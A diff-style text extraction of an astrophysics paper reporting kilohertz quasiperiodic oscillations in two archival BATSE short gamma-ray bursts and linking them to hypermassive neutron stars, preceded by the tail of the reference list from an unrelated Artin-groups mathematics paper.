+Jingyin Huang and Damian Osajda. Metric systolicity and two-dimensional Artin groups. Math. Ann., 374(3-
+4):1311–1352, 2019.
+[HO20]
+Jingyin Huang and Damian Osajda. Large-type Artin groups are systolic. Proc. Lond. Math. Soc. (3), 120(1):95–
+123, 2020.
+[KO22]
+Motoko Kato and Shin-ichi Oguni. Acylindrical hyperbolicity of artin groups associated with graphs that are not
+cones, 2022.
+[Mar22]
+Alexandre Martin. The Tits alternative for two-dimensional Artin groups and Wise’s Power Alternative, 2022.
+[Vas22a]
+Nicolas Vaskou. Acylindrical hyperbolicity for Artin groups of dimension 2. Geom. Dedicata, 216(1):Paper No.
+7, 28, 2022.
+[Vas22b]
+Nicolas Vaskou. Rigidity and automorphisms of large-type artin groups, 2022.
+[vdL83]
+H. van der Lek. The homotopy type of complex hyperplane complements. Katholieke Universiteit te Nijmegen,
+1983.
+Department of Mathematics, Heriot-Watt University, Edinburgh, UK
+Email address: ag2017@hw.ac.uk
+Department of Mathematics, Heriot-Watt University, Edinburgh, UK
+Email address: ncv1@hw.ac.uk
+

99E1T4oBgHgl3EQfCgIZ/content/tmp_files/2301.02864v1.pdf.txt

@@ -0,0 +1,2646 @@
+Springer Nature 2021 LATEX template
+Kilohertz quasiperiodic oscillations in short gamma-ray bursts
+Cecilia Chirenti1,2,3,4*, Simone Dichiara5, Amy Lien6, M. Coleman Miller1
+and Robert Preece7
+1*Department of Astronomy, University of Maryland, College Park, 20742, MD, USA.
+2*Astroparticle Physics Laboratory, NASA/GSFC, Greenbelt, 20771, MD, USA.
+3*Center for Research and Exploration in Space Science and Technology, NASA/GSFC,
+Greenbelt, 20771, MD, USA.
+4*Center for Mathematics, Computation and Cognition, UFABC, Santo Andre,
+09210-170, SP, Brazil.
+5Department of Astronomy and Astrophysics, The Pennsylvania State University, 525
+Davey Lab, University Park, 16802, PA, USA.
+6Department of Chemistry, Biochemistry, and Physics, University of Tampa, 401 W.
+Kennedy Blvd, Tampa, 33606, FL, USA.
+7Department of Space Science, University of Alabama in Huntsville, Huntsville, 35899,
+AL, USA.
+Abstract
+Short γ-ray bursts are associated with binary neutron star mergers, which are multimessenger
+astronomical events that have been observed both in gravitational waves and in the multiband elec-
+tromagnetic spectrum [1]. Depending on the masses of the stars in the binary and on details of their
+largely unknown equation of state, a dynamically evolving and short-lived neutron star may be formed
+after the merger, existing for approximately 10-300 ms before collapsing to a black hole [2, 3]. Numer-
+ical relativity simulations across different groups consistently show broad power spectral features in
+the 1-5 kHz range in the post-merger gravitational wave signal [4–14], which is inaccessible by current
+gravitational-wave detectors but could be seen by future third generation ground-based detectors in
+the next decade [15–17]. This implies the possibility of quasiperiodic modulation of the emitted γ-rays
+in a subset of events where a neutron star is formed shortly prior to the final collapse to a black hole
+[18–21]. Here we present two such signals identified in the short bursts GRB 910711 and GRB 931101B
+from archival BATSE data, which are compatible with the predictions from numerical relativity.
+Given the anticipated high frequencies, we ana-
+lyzed data from gamma-ray observatories with
+excellent time resolution: the Fermi Gamma-ray
+Burst Monitor (GBM) [22]; the Burst Alert Tele-
+scope (BAT) on the Neil Gehrels Swift Observa-
+tory [23], and the Compton Gamma-ray Observa-
+tory (CGRO) Burst and Transient Source Exper-
+iment (BATSE) in Time Tagged Event (TTE)
+mode [24]. Previous searches for periodic signals in
+gamma-ray bursts yielded null results [25–27], but
+the dynamical nature of the merger suggests that
+instead of periodic signals, quasiperiodic oscilla-
+tions (QPOs) are more probable. We focused on
+short gamma-ray bursts based on the expectation
+that these are due to neutron star mergers and
+thus could have an oscillatory phase, e.g., as a
+1
+arXiv:2301.02864v1  [astro-ph.HE]  7 Jan 2023
+
+Springer Nature 2021 LATEX template
+2
+kHz QPOs in sGRBs
+hypermassive neutron star (HMNS), which tem-
+porarily avoids collapse to a black hole due to
+the star’s differential rotation [28]. Figure 1 shows
+that in these data sets, two BATSE bursts stand
+out with strong signals. Figures 2, 3, and 4 show
+respectively the light curves, power spectra, and
+spectrograms for these two bursts, and Table 1
+gives the properties of their QPOs. We find (see
+Methods for details) that when all trials factors
+are taken into account, the probability that the
+combined catalogs of BATSE, GBM, and BAT
+would produce false positive QPOs of the strength
+we observe is ∼ 3 × 10−7.
+ 0.1
+ 1
+ 10
+ 100
+ 1000
+ 10000
+-2
+ 0
+ 2
+ 4
+ 6
+ 8
+ 10
+GRB
+910711
+GRB
+931101B
+# segments
+log10(B1
+0)
+CGRO/BATSE (high energy)
+CGRO/BATSE
+Fermi/GBM
+Swift/BAT
+Fig. 1 | Differential distribution of Bayes factors.
+Here we plot, for different sets of ∼ 0.1-second segments
+of short bursts, the log10 of the Bayes factor B1
+0 between
+a model with one Lorentzian QPO plus white noise, and
+a model with just white noise, in the frequency range
+500 − 5000 Hz [31]. In orange we show the distribution for
+Swift/BAT bursts, in blue for Fermi/GBM bursts, in green
+for CGRO/BATSE bursts when we sum the counts over
+all four TTE energy channels, and in purple for CGRO/-
+BATSE bursts when we sum only the counts from the two
+highest TTE energy channels (i.e., energies > 100 keV).
+In each case we have cleaned the sample by removing seg-
+ments contaminated by cosmic ray spikes, excess red noise,
+or other features which artificially increase the rate of false
+positives. Most of these segments are consistent with noise,
+but the two outliers on the BATSE high energy distribution
+(in purple, extending to the right) have overwhelmingly
+larger B1
+0 than the rest. These are the signals that we
+investigate.
+Both of our signals (out of more than 700
+total bursts; see Methods) are in BATSE bursts,
+which is to be expected because BATSE has a
+larger detector area than GBM or BAT, which
+makes it easier to detect modulations in the count
+rate. This may suggest that future large-area
+instruments with excellent time resolution, such as
+STROBE-X [29] or AMEGO-X [30], will identify
+burst QPOs that are currently too weak to detect.
+The frequencies of the QPOs in our two
+featured bursts are broadly consistent with the
+expectations from numerical relativity simulations
+of double neutron star mergers. Possible detec-
+tions of kilohertz QPOs have also been reported
+in giant flares from two soft gamma-ray repeaters
+(SGRs) [34, 35], but the high implied isotropic
+energies and luminosities of GRBs 910711 and
+931101B argue against the SGR giant flare inter-
+pretation for our bursts (see Methods). We there-
+fore adopt the hypothesis that these are classical
+short gamma-ray bursts resulting from the merger
+of two neutron stars. Even if this is the case it does
+not necessarily follow that the QPOs we observe
+come from the oscillations of an HMNS. It is, for
+example, conceivable that the oscillations come
+from a lower-mass neutron star or from some prop-
+erties of accretion onto a black hole in the so-called
+lower mass gap (2 − 5M⊙); further modeling will
+as always be necessary.
+ 0
+ 50
+ 100
+ 150
+ 
+ 
+ 
+ 
+ 
+ 
+ 0
+ 50000
+ 100000
+ 150000
+a
+counts
+counts/s
+GRB910711
+ 0
+ 10
+ 20
+ 30
+ 0
+ 50
+ 100
+ 150
+ 200
+ 250
+ 0
+ 10000
+ 20000
+ 30000
+b
+counts
+counts/s
+time (ms)
+GRB931101B
+Fig. 2 | Light curves of the two bursts with signals.
+a, Counts per 1.024-millisecond bin in the two highest-
+energy channels (channels 3 and 4) in the BATSE TTE
+data, for consecutive 1.024-millisecond intervals beginning
+at the start of the TTE data for GRB 910711. b, The same,
+for GRB 931101B. The signals were found in the segments
+bracketed by the vertical dotted lines.
+
+Springer Nature 2021 LATEX template
+kHz QPOs in sGRBs
+3
+If the high-frequency QPOs that we detect are
+indeed related to HMNS oscillations, then the fre-
+quencies detected in our signals can be compared
+with several phenomenological relations identi-
+fied for the frequencies observed in the simulated
+post-merger gravitational waveforms from binary
+neutron star mergers [10, 36–39]. For instance,
+if the unknown redshift z of the sources can be
+neglected, the frequencies ν2 of the main peak pre-
+sented in Table 1 together with a phenomenologi-
+cal relation obtained from simulations of mergers
+of two 1.35 M⊙ neutron stars [40] suggest a radius
+R1.6 ≃ 13 km for a 1.6 M⊙ neutron star. It is
+unlikely that such a bright burst as GRB 910711
+happened at a large redshift, but the redshift cor-
+rection would mean that the rest-frame frequency
+would be higher by a factor of 1 + z, and thus the
+inferred radius would be smaller. The best esti-
+mate of the radius decreases linearly with small z;
+e.g., R1.6 ≃ 12.5 km for z = 0.1 and R1.6 ≃ 12.0
+km for z = 0.2.
+Another possible inference is that of the spin
+of the HMNS. It is currently understood that
+HMNSs are supported against gravitational col-
+lapse by rapid and differential rotation. During
+their brief lifetime, they should be the fastest
+rotating stars known. Simulations show that the
+frequency ν2 corresponds to twice the maximum
+angular velocity inside the star [38], Ωmax. Our
+results would imply Ωmax ∼ (1+z)1.3 kHz (allow-
+ing for a redshift correction), which even at z = 0
+is almost two times higher than any neutron star
+spin frequency observed to date, and above the
+expected Keplerian mass-shedding limit for a uni-
+formly rotating HMNS, therefore being consistent
+with the need for differential rotation.
+Additional information could presumably be
+provided by identification of the lower-frequency
+peak ν1, but this is complicated by uncertainties in
+the identification of the peak in different models as
+well as the difficulty of accurate inclusion of fully
+resolved neutrino physics, magnetohydrodynamic
+turbulence, and so on in long-term numerical sim-
+ulations. Moreover, because we observe gamma
+rays rather than gravitational waves, additional
+careful modeling of the jet is needed to draw a
+connection between gravitational waveforms and
+the observed modulations of gamma rays. For
+example, fluctuations in the post-merger accre-
+tion disk can also drive changes in the jet and
+ 0
+ 4
+ 8
+ 12
+ 
+ 
+ 
+ 
+ 
+a
+power
+GRB910711
+ 0
+ 4
+ 8
+ 12
+ 1000
+ 2000
+ 3000
+ 4000
+ 5000
+b
+power
+frequency (Hz)
+GRB931101B
+Fig. 3 | Power spectra of the two bursts with
+signals. a, Power spectrum of GRB 910711. b, Power spec-
+trum of GRB 931101B. Here we use the intervals delineated
+by the vertical dashed lines in Figure 2. These each have a
+duration of 0.131072 seconds and thus the frequency reso-
+lution of the power spectrum is 1/0.131072 s = 7.6294 Hz.
+We use the Groth power normalization [32], in which the
+expected power averages 1 if the flux is intrinsically con-
+stant and has only photon counting (Poisson) noise. In
+addition to the power densities (red lines) we also show the
+1σ, 2σ and 3σ single-trial power ranges for the best white
+noise only fits in each case (red bands) and the ±1σ range
+for the power expected in the best two-QPO plus white
+noise fits (grey bands). The corresponding best-fit values
+are shown in Table 5 in Methods. The range of frequencies
+shown in the figure, 500 − 5000 Hz, is what we use in our
+QPO search and is intended to reach the highest plausible
+oscillation frequencies but to avoid red noise at low frequen-
+cies. We see that the two bursts have similar power density
+structures, with clear peaks at ∼ 2600 Hz and ∼ 1000 Hz.
+thus the observed GRB flux [41, 42]. Nonetheless,
+the detection of these high-frequency QPOs pro-
+vides a potentially powerful new tool to study the
+dynamics and gravity of merging neutron stars.
+References
+[1] Abbott, B. P. et al. Multi-messenger Obser-
+vations of a Binary Neutron Star Merger.
+Astrophys. J. Lett. 848 (2), L12 (2017).
+[2] Shapiro, S. L. Differential Rotation in Neu-
+tron Stars: Magnetic Braking and Viscous
+
+Springer Nature 2021 LATEX template
+4
+kHz QPOs in sGRBs
+Table 1 | Bursts with QPOs, Bayes factors and median and ±1σ values of central frequencies and widths
+GRB
+T90 (msec) Counts
+B1
+0
+B2
+0
+ν1(Hz) ∆ν1 (Hz) ν2 (Hz) ∆ν2 (Hz)
+910711
+14 [33]
+1790
+6.5 × 108 3.0 × 1017 1113+7
+−8
+25+9
+−7
+2649+6
+−7
+26+9
+−7
+931101B
+34 [33]
+524
+1.9 × 104 3.6 × 106
+877+6
+−8
+15+7
+−2
+2612+9
+−8
+14+7
+−3
+Note: The frequencies ν and half widths at half maximum ∆ν for the QPOs are from the two-QPO plus white noise fit to the
+data from 500 Hz through 5000 Hz for a 0.131072-second segment of BATSE TTE data. (The one-QPO plus white noise fit to the
+data, corresponding to Figure 1, finds only the second QPO listed here.) We analyze data only from the highest two of the four
+BATSE TTE energy channels, and list the total number of counts in those two channels over the 0.131072-second segments that
+contain the signals. T90 is the shortest time span that contains 90% of the burst counts and B1
+0 (B2
+0) is the Bayes factor between a
+one-QPO (two-QPO) plus white noise model and a white noise only model. For the frequencies and frequency widths we give the
+median and the ±1σ ranges.
+ 10
+ 20
+ 30
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+a
+counts
+GRB910711
+ 0
+ 20
+ 40
+ 60
+ 80
+ 100
+ 120
+ 1
+ 2
+ 3
+ 4
+frequency (kHz)
+ 0
+ 2
+ 4
+ 6
+ 8
+power
+ 2
+ 4
+ 6
+ 8
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+b
+counts
+GRB931101B
+ 0
+ 2
+ 4
+ 6
+ 8
+power
+ 140
+ 160
+ 180
+ 200
+ 220
+ 240
+ 260
+time (ms)
+ 1
+ 2
+ 3
+ 4
+frequency (kHz)
+ 0
+ 2
+ 4
+ 6
+ 8
+power
+Fig. 4 | Spectrograms for the burst segments with
+signals. a, Spectrogram for GRB 910711. b, Spectrogram
+for GRB 931101B. Here we use the parts of the bursts
+bracketed by the vertical dotted lines in Figure 2. For
+each burst, the top panel shows the light curve binned
+in 128-microsecond intervals (in contrast with the 1.024-
+millisecond intervals of Figure 2). Each pixel shows the
+power (indicated by the color bar) at the associated fre-
+quency for an 8.192-msec interval, with a start time in
+milliseconds given on the horizontal axis. The black arrows
+indicate the mean values of the QPO frequencies given
+in Table 1. The maximum power in a pixel is ∼ 16 for
+GRB 910711 and ∼ 8 for GRB 931101B. Note that in
+GRB 910711 there is substantial power at the main ∼
+2600 Hz frequency some 0.08 − 0.06 seconds before the
+burst, which could indicate precursor emission.
+Damping.
+Astrophys. J. 544 (1), 397–408
+(2000).
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+(2008).
+[8] Hotokezaka, K. et al. Remnant massive neu-
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+[9] Takami, K., Rezzolla, L. & Baiotti, L. Con-
+straining the Equation of State of Neutron
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+113 (9), 091104 (2014).
+[10] Takami,
+K.,
+Rezzolla,
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+properties
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+kHz QPOs in sGRBs
+5
+gravitational-wave signal from binary neu-
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+Phys. Rev. D 91 (6), 064001
+(2015).
+[11] Dietrich, T., Bernuzzi, S., Ujevic, M. &
+Br¨ugmann, B. Numerical relativity simula-
+tions of neutron star merger remnants using
+conservative mesh refinement. Phys. Rev. D
+91 (12), 124041 (2015).
+[12] Ruiz, M., Lang, R. N., Paschalidis, V. &
+Shapiro, S. L. Binary Neutron Star Mergers:
+A Jet Engine for Short Gamma-Ray Bursts.
+Astrophys. J. Lett. 824 (1), L6 (2016).
+[13] Radice, D., Bernuzzi, S., Del Pozzo, W.,
+Roberts, L. F. & Ott, C. D.
+Probing
+Extreme-density Matter with Gravitational-
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+[14] Breschi, M., Bernuzzi, S., Godzieba, D.,
+Perego, A. & Radice, D. Constraints on the
+Maximum Densities of Neutron Stars from
+Postmerger Gravitational Waves with Third-
+Generation Observations.
+Phys. Rev. Lett.
+128 (16), 161102 (2022).
+[15] Punturo, M. et al. The Einstein Telescope: a
+third-generation gravitational wave observa-
+tory. Classical and Quantum Gravity 27 (19),
+194002 (2010).
+[16] Abbott, B. P. et al. Exploring the sensitivity
+of next generation gravitational wave detec-
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+044001 (2017).
+[17] Ackley, K. et al.
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+A
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+gravitational-wave detector in the global
+network. Publ. Astron. Soc. Austr. 37, e047
+(2020).
+[18] Chirenti, C., Miller, M. C., Strohmayer, T. &
+Camp, J. Searching for Hypermassive Neu-
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+[19] Metzger, B. D. Kilonovae. Living Reviews in
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+E. & Bernuzzi, S.
+A Magnetar Engine for
+Short GRBs and Kilonovae.
+Astrophys. J.
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+[21] Fong, W. et al. The Broadband Counterpart
+of the Short GRB 200522A at z = 0.5536: A
+Luminous Kilonova or a Collimated Outflow
+with a Reverse Shock? Astrophys. J. 906 (2),
+127 (2021).
+[22] Meegan, C. et al.
+The Fermi Gamma-ray
+Burst Monitor. Astrophys. J. 702 (1), 791–
+804 (2009).
+[23] Barthelmy, S. D. et al. The Burst Alert Tele-
+scope (BAT) on the SWIFT Midex Mission.
+Space Science Research 120 (3-4), 143–164
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+[24] Preece, R. D. et al. The BATSE Gamma-Ray
+Burst Spectral Catalog. I. High Time Reso-
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+High Energy Resolution Data. Astrophys. J.
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+Millisecond Periodic Pulsations in BATSE
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+Time-tagged Event Data from Gamma-Ray
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+phys. J. 576 (2), 932–941 (2002).
+[27] Dichiara, S., Guidorzi, C., Frontera, F. &
+Amati, L. A Search for Pulsations in Short
+Gamma-Ray Bursts to Constrain their Pro-
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+[28] Sarin, N. & Lasky, P. D. The evolution of
+binary neutron star post-merger remnants: a
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+General Relativity and Gravitation
+53 (6), 59 (2021).
+[29] Ray, P. S. et al. STROBE-X: X-ray Timing
+and Spectroscopy on Dynamical Timescales
+from Microseconds to Years. arXiv e-prints
+arXiv:1903.03035 (2019).
+
+Springer Nature 2021 LATEX template
+6
+kHz QPOs in sGRBs
+[30] Caputo, R. et al.
+AMEGO-X Mission
+Overview, Vol. 54 of AAS/High Energy Astro-
+physics Division, 404.03 (2022).
+[31] Miller, M. C., Chirenti, C. & Strohmayer,
+T. E.
+On the Persistence of QPOs during
+the SGR 1806-20 Giant Flare. Astrophys. J.
+871 (1), 95 (2019).
+[32] Groth, E. J. Probability distributions related
+to power spectra.
+Astrophys. J. Suppl. 29,
+285–302 (1975).
+[33] Cline, D. B., Matthey, C. & Otwinowski,
+S. Study of Very Short Gamma-Ray Bursts.
+Astrophys. J. 527 (2), 827–834 (1999).
+[34] Strohmayer, T. E. & Watts, A. L.
+The
+2004 Hyperflare from SGR 1806-20: Further
+Evidence for Global Torsional Vibrations.
+Astrophys. J. 653 (1), 593–601 (2006).
+[35] Roberts, O. J. et al. Rapid spectral variability
+of a giant flare from a magnetar in NGC 253.
+Nature 589 (7841), 207–210 (2021).
+[36] Bauswein, A. & Stergioulas, N.
+Unified
+picture of the post-merger dynamics and
+gravitational wave emission in neutron star
+mergers.
+Phys. Rev. D 91 (12), 124056
+(2015).
+[37] Paschalidis, V., East, W. E., Pretorius, F.
+& Shapiro, S. L.
+One-arm spiral instabil-
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+dynamical-capture binary neutron star merg-
+ers. Phys. Rev. D 92 (12), 121502 (2015).
+[38] Kastaun, W. & Galeazzi, F.
+Properties of
+hypermassive neutron stars formed in merg-
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+064027 (2015).
+[39] Ciolfi, R. et al. General relativistic magneto-
+hydrodynamic simulations of binary neutron
+star mergers forming a long-lived neutron
+star. Phys. Rev. D 95 (6), 063016 (2017).
+[40] Lioutas, G., Bauswein, A. & Stergioulas, N.
+Frequency deviations in universal relations of
+isolated neutron stars and postmerger rem-
+nants. Phys. Rev. D 104 (4), 043011 (2021).
+[41] Dimmelmeier, H., Stergioulas, N. & Font,
+J. A. Non-linear axisymmetric pulsations of
+rotating relativistic stars in the conformal
+flatness approximation. Mon. Not. R. Astron.
+Soc. 368 (4), 1609 (2006).
+[42] Nedora, V., Bernuzzi, S. Radice, D. Perego,
+A. Endrizzi, A. & Ortiz, N. Spiral-wave Wind
+for the Blue Kilonova.
+Astrophys. J. Lett.
+886 (2), L30 (2019).
+Methods
+Other Bayesian searches for high-frequency
+QPOs in GRBs.
+Other searches have been
+conducted, with null results, for high-frequency
+variability in gamma-ray burst data [25–27]. For
+example, an analysis of BATSE TTE data from 20
+bright short and long bursts (not including either
+of the two we feature here) found no significant
+periodic signals in the frequency range 30 Hz to
+60,000 Hz [25]. Later analyses of BATSE TTE
+data for periodic signals in the 400 − 2500 Hz
+range using a Rayleigh test [26], and for oscil-
+lations and narrow quasiperiodic oscillations of
+up to 200 Hz using a Fourier-based method [27],
+also found no significant signals (the approach
+[43] in the latter study was also used to look for
+lower-frequency QPOs in short magnetar bursts
+and long GRBs [44–47]). In contrast, we search
+for the broad quasi-periodicity expected from a
+temporary, decaying oscillation.
+Data selection.
+In order to select bursts for
+our analysis that could be bright enough to yield
+detections or interesting limits on a QPO signal,
+we use a flux threshold for the Swift/BAT and Fer-
+mi/GBM bursts based on theoretical arguments
+[18]. Using Fourier analysis [48], we can estimate
+a flux threshold
+F ≈ 2nσEpeak
+Adeta2osc
+�
+∆ν
+∆T ,
+(1)
+where nσ is the required significance of the QPO
+(in standard deviations), Epeak is the peak energy
+of the burst, Adet is the detector area, aosc is the
+fractional root mean squared oscillation amplitude
+in the count rate caused by the QPO, ∆T is the
+total observation time and ∆ν is the width of the
+QPO. We require nσ = 5 and fix a fiducial high
+aosc = 0.75 to obtain a correspondingly low F,
+
+Springer Nature 2021 LATEX template
+kHz QPOs in sGRBs
+7
+and assumed ∆ν = 250 Hz [18]. In contrast to
+this selection for the Swift/BAT and Fermi/GBM
+short bursts, we analyzed all of the 532 short
+bursts from the BATSE sample. (Due to its larger
+detector area, the BATSE flux threshold would be
+up to several times lower than the threshold for
+the other detectors.)
+Swift/BAT data set.
+In this analysis, we use
+a sub-sample of 8 short GRBs (T90 < 5 s) and
+110 long GRBs (included here for improved statis-
+tics) detected with Swift/BAT (before August 10,
+2020) with a 1-s peak flux in the 15-150 keV band
+higher than 3.556 × 10−7 erg s−1 cm−2 based
+on Equation 1. The 1-s peak fluxes are adopted
+from the Swift BAT/GRB catalog [49]. The sam-
+ple excludes two ground-detected GRBs that were
+found during spacecraft slews, which could compli-
+cate the analysis due to the continuously changing
+instrumental response and sky coverage during the
+slew time throughout the entire burst emission.
+Our
+QPO
+study
+utilizes
+BAT
+non-
+maskweighted light curves in the 15-350 keV
+range and uses the native 100 µs time resolution
+for our intervals. We applied the standard HEA-
+Soft tool, batbinevt (version 1.48), to create the
+light curves. For each burst, we search for QPO
+signals across the entire burst duration.
+Fermi/GBM data set.
+We selected a sub-
+sample of 184 short GRBs (T90 < 5 s) detected
+by Fermi-GBM from July 2008 to July 20,
+2018.
+We
+require
+a
+peak
+flux
+higher
+than
+2.074×10−6 erg cm−2 s−1 based on Equation 1.
+For each GRB we take the TTE files of the
+two most illuminated NaI detectors and extract
+the corresponding light curves in 100 µs intervals
+(binned from the native 2 µs resolution) in the
+8–1000 keV band using the fselect and gtbin
+tools. For our analysis we use the heasoft (ver-
+sion 6.30.1) and the Fermitools (version 2.0.8)
+software packages. We reject light curves affected
+by spikes due to the interactions of high-energy
+particles with the spacecraft [22] and use non-
+background subtracted data. We process the data
+by following the Fermi team threads [50].
+CGRO/BATSE data set.
+We analyze the
+BATSE TTE data available for all 532 short
+gamma-ray bursts [51], without a lower flux
+threshold. In this mode, the time resolution is 2
+µs and there are four energy channels: channel 1
+has photon energies from 20 − 50 keV, channel 2
+from 50 − 100 keV, channel 3 from 100 − 300 keV,
+and channel 4 has energies > 300 keV [52]. The
+TTE data contain 32,768 counts covering no more
+than 2 s, with about one fourth of the counts in
+the preburst interval, which contains data from all
+8 detectors. The remaining 3/4 of memory con-
+tains data for burst-selected detectors (brightest
+detectors at the trigger time).
+Analysis Methods.
+We search short GRBs for
+QPOs that are reasonable matches to the expec-
+tations for post-merger oscillations of HMNSs.
+Because these oscillations are expected to have
+frequencies in excess of ∼ 1000 Hz, we focus on
+high frequencies: our analysis uses power density
+spectra from 500 Hz to 5000 Hz. In addition,
+because HMNS oscillations are expected to damp
+on timescales ∼ 0.1 s [2, 3], we construct power
+density spectra from data segments of approxi-
+mately the same duration.
+In practice, since we use a fast Fourier trans-
+form (FFT), the segments we analyze are powers
+of 2 times the time resolution of each instrument.
+We therefore use segments of length 210 × 10−4 s,
+or 0.1024 s, for the Swift BAT and Fermi GBM
+data sets, which have Nyquist frequencies of 1/(2×
+100 µs) = 5000 Hz. For BATSE data sets we
+analyze segments of length 216 × 2 × 10−6 s, or
+0.131072 s. The Nyquist frequency for these data is
+1/(2×2 µs), or 250, 000 Hz, but at least in our two
+featured bursts we did not see any excess power
+beyond 5000 Hz.
+In order to avoid missing signals that overlap
+the end of one segment and the beginning of the
+next, our segments have half-overlap. For exam-
+ple, if a Swift burst lasts for two seconds, our
+first segment is from 0 to 0.1024 s, our second is
+from 0.0512 to 0.1536 s, our third is from 0.1024
+to 0.2048 s, and so on. We have not attempted
+to optimize the segments further; for example, if
+there was an apparent signal from 0.0512 to 0.1536
+s in a given data set, we did not explore slightly
+offset intervals of the same duration.
+When we search for QPOs we compute Bayes
+factors between specified models. In the high fre-
+quency range that we explore, we typically do not
+expect (nor do we typically find) that there is
+significant red noise (see the “Additional analysis
+with adjustable red noise” section below for red-
+noise analysis of our two signals, which finds no
+
+Springer Nature 2021 LATEX template
+8
+kHz QPOs in sGRBs
+significant difference in the significance or inferred
+parameters when we use red instead of white
+noise). However, very short-duration pulses such
+as those that could be produced by a cosmic ray
+will generate noise that is close to white because
+the Fourier transform of a delta function is a con-
+stant with frequency. As a result, our no-QPO
+model is that, in addition to the unavoidable Pois-
+son fluctuations, there can be additional white
+noise.
+For our QPO model we use a Lorentzian form
+for the power density P(ν), which we add to white
+noise. Therefore, in a model with n QPOs the
+power as a function of frequency ν is
+P(ν) = Awhite +
+n
+�
+i=1
+Ai
+1 + (ν − νi)2/(∆νi)2 .
+(2)
+Thus a model with only white noise has 1 param-
+eter; a model with white noise plus one QPO
+has four parameters; a model with white noise
+plus two QPOs has seven parameters; and so
+on. For QPO i, Ai is the power density of the
+Lorentzian at its center, νi is the central frequency
+of the Lorentzian, and ∆νi is the half-width of
+the Lorentzian. We adopt this form because it is
+the Fourier transform of a signal described by an
+exponentially damped sinusoid, which is roughly
+consistent with the expectations for a decaying
+HMNS oscillation. Each QPO is represented by
+a different Lorentzian, and if the frequencies of
+multiple QPOs are close enough relative to their
+widths, they can overlap. In our QPO models we
+also allow there to be additional white noise.
+Details about our approach have been pub-
+lished earlier [31]. In brief, the likelihood L(P; Ps)
+that a power density P will be observed in a given
+frequency bin, given an expected model power Ps,
+is [32]:
+L(P; Ps) = e−(P +Ps)
+∞
+�
+m=0
+P mP m
+s
+(m!)2 .
+(3)
+Here the normalization is such that if the signal
+is intrinsically constant and thus the only power
+comes from Poisson fluctuations (i.e., Ps = 0), the
+mean power is ⟨P⟩ = 1. Note that this differs by a
+factor of two from the commonly-used Leahy nor-
+malization [53], for which ⟨P⟩ = 2 for pure Poisson
+noise. For a given power density spectrum and a
+given model (involving 0, 1, or 2 QPOs), we com-
+pute the log of the likelihood of the data set given
+the model by summing the log likelihoods over all
+of the power densities from 500 Hz to 5000 Hz.
+For each model type (0, 1, or 2 QPOs) we
+compute the maximum log likelihood over all
+parameter combinations using a custom affine-
+invariant Markov chain Monte Carlo (MCMC)
+code based on the approach of Goodman and
+Weare [54]. In our particular implementation of
+the MCMC code we use 32 walkers for the white
+noise only and the white noise + 1 QPO runs, and
+56 walkers for the white noise + 2 QPOs runs. We
+start each run from a tight bundle of walkers near
+a random point in parameter space, and perform
+each run 20 times from different random starting
+locations. We find that similar values for the best
+fit are repeatedly attained in these 20 runs for a
+given data set, which suggests that the likelihood
+surfaces are relatively smooth.
+To compute Bayes factors we need first to com-
+pute the evidence E for each model by integrating
+the product of the likelihood L(⃗a) with the prior
+q(⃗a) over all combinations of the parameters ⃗a in
+a given model:
+E =
+�
+L(⃗a)q(⃗a)d⃗a ,
+(4)
+where the prior has been normalized such that
+�
+q(⃗a)d⃗a = 1. We calculate E using Monte Carlo
+integration, with a target precision of 10% of the
+best estimate. The Bayes factor between models
+A and B is then BA
+B = EA/EB. We assume that
+the 0-, 1-, and 2-QPO models all have the same
+prior probability, which means that the odds ratio
+between them equals the Bayes factor: OA
+B = BA
+B.
+Based on our experience with the data, we use
+the following priors:
+1. For the white noise, Awhite is flat between 0 and
+5.
+2. For the QPOs, Ai is flat between 0 and 30.
+3. For the higher-frequency QPO, log10 ν2(Hz)
+is flat between 3.0 and 3.7. For the lower-
+frequency QPO, log10 ν1(Hz) is flat between 2.7
+and 3.7. For a 1-QPO model we use only the
+ν2 prior.
+4. log10 ∆νi(Hz) is flat between 1.0 and 3.0.
+We adopt priors for the centroid frequency and
+width of the QPOs that are flat in log frequency
+
+Springer Nature 2021 LATEX template
+kHz QPOs in sGRBs
+9
+because we wish to be agnostic about the scale;
+in contrast, for example, a prior that is flat in fre-
+quency width between 10 Hz and 1000 Hz would
+have most of its weight at large widths. However,
+the strength of the QPO signal in our two fea-
+tured bursts is great enough that the prior has
+little effect.
+Potential causes of false QPO signals.
+Our
+initial analysis, which began with the Swift/-
+BAT data, revealed some possible causes of false
+QPO signals. The first is spikes of ∼ 10 − 100
+counts within a single readout time interval of
+100 µs. These are presumably produced by cos-
+mic rays rather than gamma rays from a burst.
+As discussed above, because an unresolved spike
+approximates a delta function, the power den-
+sity from a single spike is essentially white noise.
+If there are two or more such spikes in a given
+data set then the frequencies corresponding to the
+reciprocals of the intervals between the spikes also
+show up prominently in the power density spec-
+trum, and these can be read incorrectly as QPOs.
+Our approach was to discard segments of Swift/-
+BAT data in which any 100 µs interval had more
+than 8 counts, because such a high number is
+almost certainly from a cosmic ray (see the orange
+distribution in Extended Data Figure 1).
+Another false signal, which occurred in the
+Swift/BAT data for the long burst GRB 191004B,
+was caused by 1000-Hz pulses sent to BAT to aid
+in its calibration (D. Palmer, private communica-
+tion; see the gray distribution in Extended Data
+Figure 1).
+A third type of false signal can come from
+extraction of the data sets themselves. Kruger et
+al. [26] found in their search a few cases (they
+highlight BATSE trigger 2101) in which there
+appeared to be significant power. However, they
+discovered that in these cases the apparent signals
+were found in portions of the ASCII TTE data
+with an abnormally low count rate, which was not
+consistent with the original FITS data, and con-
+cluded that there had been corruption of the data
+sets when they were translated to ASCII. Neither
+of our featured bursts have data corrupted in this
+way.
+A fourth potential warning sign is the presence
+of large amounts of red noise up to hundreds of
+Hertz. As indicated above we focus on frequencies
+above 500 Hz in large part to avoid the red noise
+ 0.1
+ 1
+ 10
+ 100
+ 1000
+ 10000
+ 100000
+-2
+ 0
+ 2
+ 4
+ 6
+ 8
+ 10
+# segments
+log10(B1
+0)
+all LGRBs
+LGRBs without spikes
+all sGRBs
+sGRBs without spikes
+Swift/BAT
+Extended Data Fig.
+1 | Differential distribution
+of Bayes factors for Swift/BAT bursts. We plot sep-
+arately the sample of 8 short bursts (orange) and 110 long
+bursts (gray). The light orange and light gray distributions
+include the analysis of segments with spikes in the light
+curve caused by cosmic ray contamination. The only case of
+a short GRB with B1
+0 > 1 is GRB 171011A, with B1
+0 ≈ 180.
+The moderate Bayes factor in this case was caused by a
